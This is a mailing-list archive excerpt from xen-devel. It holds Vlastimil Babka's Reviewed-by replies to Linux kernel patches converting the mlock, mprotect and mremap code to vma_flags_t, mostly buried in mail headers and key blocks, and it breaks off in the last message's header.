	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZUe-0002KX-DG; Wed, 22 Jul 2026 16:08:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368586.1617890; Wed, 22 Jul 2026 16:08:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZUe-0002KQ-Aa; Wed, 22 Jul 2026 16:08:24 +0000
Received: by outflank-mailman (input) for mailman id 1368586;
 Wed, 22 Jul 2026 16:08:23 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmZUd-0002Hz-8G
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 16:08:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmZUc-00GDy3-L6
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 18:08:22 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60eaf0-e002-0a2a0a5209dd-0a2a4503bb28-8
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 18:08:22 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60eaf4-fae8-0a2a45030019-aceafc1f93d4-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 18:08:22 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 8D58B4071F;
 Wed, 22 Jul 2026 16:08:19 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 482441F00A3F;
 Wed, 22 Jul 2026 16:08:00 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784736499;
	bh=70Ep7Q7Q+hOHdHGDd1WlBsRT3Q12DveziwsIcTZZXqU=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=lnL+GDOW1RNyK8faVj+xog2qSVNXd5RW5OZ1TweaueH4vffC3geYYJCYWnNruwaiS
	 SQlqDRNKNPkeFV8pd50akmXs+sysIAJx0dl4qQI1kgjZ6kfYnGNgnNyvZO2RHeen8x
	 X1qP6AX16FvbgJG94v217TFQnJ+LPOkihf1JEqv8cWcYINv3KHgBTg196eAiyyVzED
	 ODqqwmPRIhhkkPjChZPamQYcsNbf0LXo6MAgOs9eBCf+KjRIMLkkN7puHDnEuCp48e
	 gcPqy9EHh5p23lLq8nqHqbWffgpAuBPw/rHyQ4KXf/Fx6ZkfX9yv/WIyidH3EEOx9c
	 uKXxeAZUsAjDg==
Message-ID: <c363ab95-8d8d-46e0-b9ec-d827664b21a8@kernel.org>
Date: Wed, 22 Jul 2026 18:07:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 11/13] mm/mlock: convert mlock code to use vma_flags_t
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-tegra@vger.kernel.org,
 virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org,
 xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org,
 linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-11-0fa2357d5431@kernel.org>
From: "Vlastimil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ZSQlYgK48pm8WAeTXTngudP9IJ4SuKY
 HR5RNjHcBeqN+Me0zxRqYzRb8nGanHEkDyf4Im8DQM8d6vbyU+FcPmG4skud4kgS1zMHnlVd
 SXfSIwKC/hKgdHG8aBV7545Lz9X6Iohea+94wneD0aw/hqF+QWewGZhWJriWAZtvEkzNjQOi
 4U9F/trLten/x7bpphDSnDMKJtITbtzATT1Dq7o7VpIUK1nCTQALMuMjKCdi8OdU/+V+R3O4
 0PXWvX8qrvqYapVbZ+9KqT74FsuB0Ya9uXwgBF2Q6cRuETZk5vqaqKxzqoQZCO8AOz/58j6O
 2RHNy/mZEN+7tJ5Tsq42zVJ4jxsT8b9YplavCMsnBgDeRWhcbYhCyttoL7nYISyWg4kQYZ/P
 wIV3OuNv2f8iKYsxNsRuClOAF82+gvqOy1/1pprFjy8uo2pkoOrb63aOP3vO5VHnRKgra6dq
 NcaZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-11-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1784736502-6F8C54E9-B5AC8D77/0/0
X-purgate-type: clean
X-purgate-size: 464

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> Replace use of the legacy vm_flags_t flags with vma_flags_t values
> throughout the mlock logic.
> 
> Additionally update comments to reflect the changes to be consistent.
> 
> No functional change intended.
> 
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 16:09:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 16:09:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368593.1617900 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZVs-0002yv-Mm; Wed, 22 Jul 2026 16:09:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368593.1617900; Wed, 22 Jul 2026 16:09:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZVs-0002yo-JX; Wed, 22 Jul 2026 16:09:40 +0000
Received: by outflank-mailman (input) for mailman id 1368593;
 Wed, 22 Jul 2026 16:09:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmZVr-0002yQ-5p
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 16:09:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmZVq-006BBQ-F5
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 18:09:38 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60eb35-2eae-0a2a0a5409dd-0a2a4504ac16-26
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 18:09:38 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60eb41-b57f-0a2a45040019-ac6904fea302-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 18:09:38 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 04F24600AB;
 Wed, 22 Jul 2026 16:09:36 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 7B26D1F000E9;
 Wed, 22 Jul 2026 16:09:18 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784736575;
	bh=hm/5iL9EveGYA3vJkgF8R7lbasRuEO1iSSKVyzrOX0w=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=Ust3bdj7ZEAIy4n4wtOYmRrwIQMPYailb9NKjIw+PKcSHQ8vdpkni8H9CvqYAd7ol
	 sYRVz/kVItg+dwjuYK2krwBem8+veFMitxTLh/YTkHWhVNjP51455v1a9nrqh6Ik0y
	 viIYvdj57qXS44HtDjKV8s67omerf7XX+Dc7blWdQgjVJBj1PsD9HIXLgWzqmt11EB
	 SfbWgbCZAj446RLfe1lnmBgaAIG3mecQ4G6Pux5a/pXFPkXy2VrYG9pruPTPvsgQc4
	 DKAHr6nz3y5prdMIJ1evrpm4+rGT63RjYoIMfAKzeOw1IfR0c0eJfd7IjnNEuR5DmG
	 V8ez2dOJEIeUw==
Message-ID: <1bab7f72-9de0-4237-971e-6b8e1aff1d6d@kernel.org>
Date: Wed, 22 Jul 2026 18:09:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 12/13] mm/mprotect: convert mprotect code to use
 vma_flags_t
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-tegra@vger.kernel.org,
 virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org,
 xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org,
 linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-12-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2UQG33lw2QrvHRXqD
 Ot7ViKam7v0Ho9wEWiQOOZlHItOOXFphWb2yq3nzrKe45oWoSgkxKb97MVsQ+q2SYjJRBBH4
 8qKhphADYxkIP6yut/eaj9ImvRUZZRi0DTc8xfnvHGTjKbJzC2x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CbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-12-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1784736578-50AD8B50-54DFCD64/0/0
X-purgate-type: clean
X-purgate-size: 534

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> Replace use of the legacy vm_flags_t flags with vma_flags_t values
> throughout the mprotect logic.
> 
> Note that we retain the legacy vm_flags_t bit shifting code in
> do_mprotect_pkey(), deferring a vma_flags_t approach to this for the time
> being.
> 
> Additionally update comments to reflect the changes to be consistent.
> 
> No functional change intended.
> 
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 16:15:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 16:15:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368612.1617910 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZbe-0004df-Cb; Wed, 22 Jul 2026 16:15:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368612.1617910; Wed, 22 Jul 2026 16:15:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZbe-0004dX-8r; Wed, 22 Jul 2026 16:15:38 +0000
Received: by outflank-mailman (input) for mailman id 1368612;
 Wed, 22 Jul 2026 16:15:36 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmZbc-0004dQ-CS
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 16:15:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmZbb-00DkLC-IH
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 18:15:35 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60ec97-2eae-0a2a0a5409dd-0a2a4505e596-16
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 18:15:35 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60eca5-4cb1-0a2a45050019-aceafc1faf16-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 18:15:35 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id F414E43964;
 Wed, 22 Jul 2026 16:15:32 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id A3F941F000E9;
 Wed, 22 Jul 2026 16:15:13 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784736932;
	bh=YtoXCA62CyJBNC7Tbkqm6QUVmIJyF8vWZgzG8HkNlzI=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=DZFALzRwUkrcWF32RmBloDBG4APMVkGxhtgaZyfkfq4w77n6RpNrdAHXIykI0LwMX
	 tGTerPv7RnSpnWTQAISeMEzjQWr0uGJk7k+k1pIaGnKeBR4YxJpt9RyDLS1Ii9bIGB
	 43/hCcIIVUkgRJS7+JSbLJBvsJXvM8ST2ld2ORuO4pGg5dZ4eXczqK6/TJ9lcC7zTV
	 184NzHUANyj1upIfiufIzTzgFXEU4ol0nH+6Z9pEAlACTIbjzOLfqyhBSUIaxXrwXh
	 gLiKpiTLLNgHpkBvl6V4zRf6clxml/U/1TOwopiR7NwCRl7coCul519YgSFNAZ8pPL
	 5ogQPeJG8QmfA==
Message-ID: <fd9defdf-5d82-4f07-a496-4fe8064710ff@kernel.org>
Date: Wed, 22 Jul 2026 18:15:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 13/13] mm/mremap: convert mremap code to use
 vma_flags_t
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
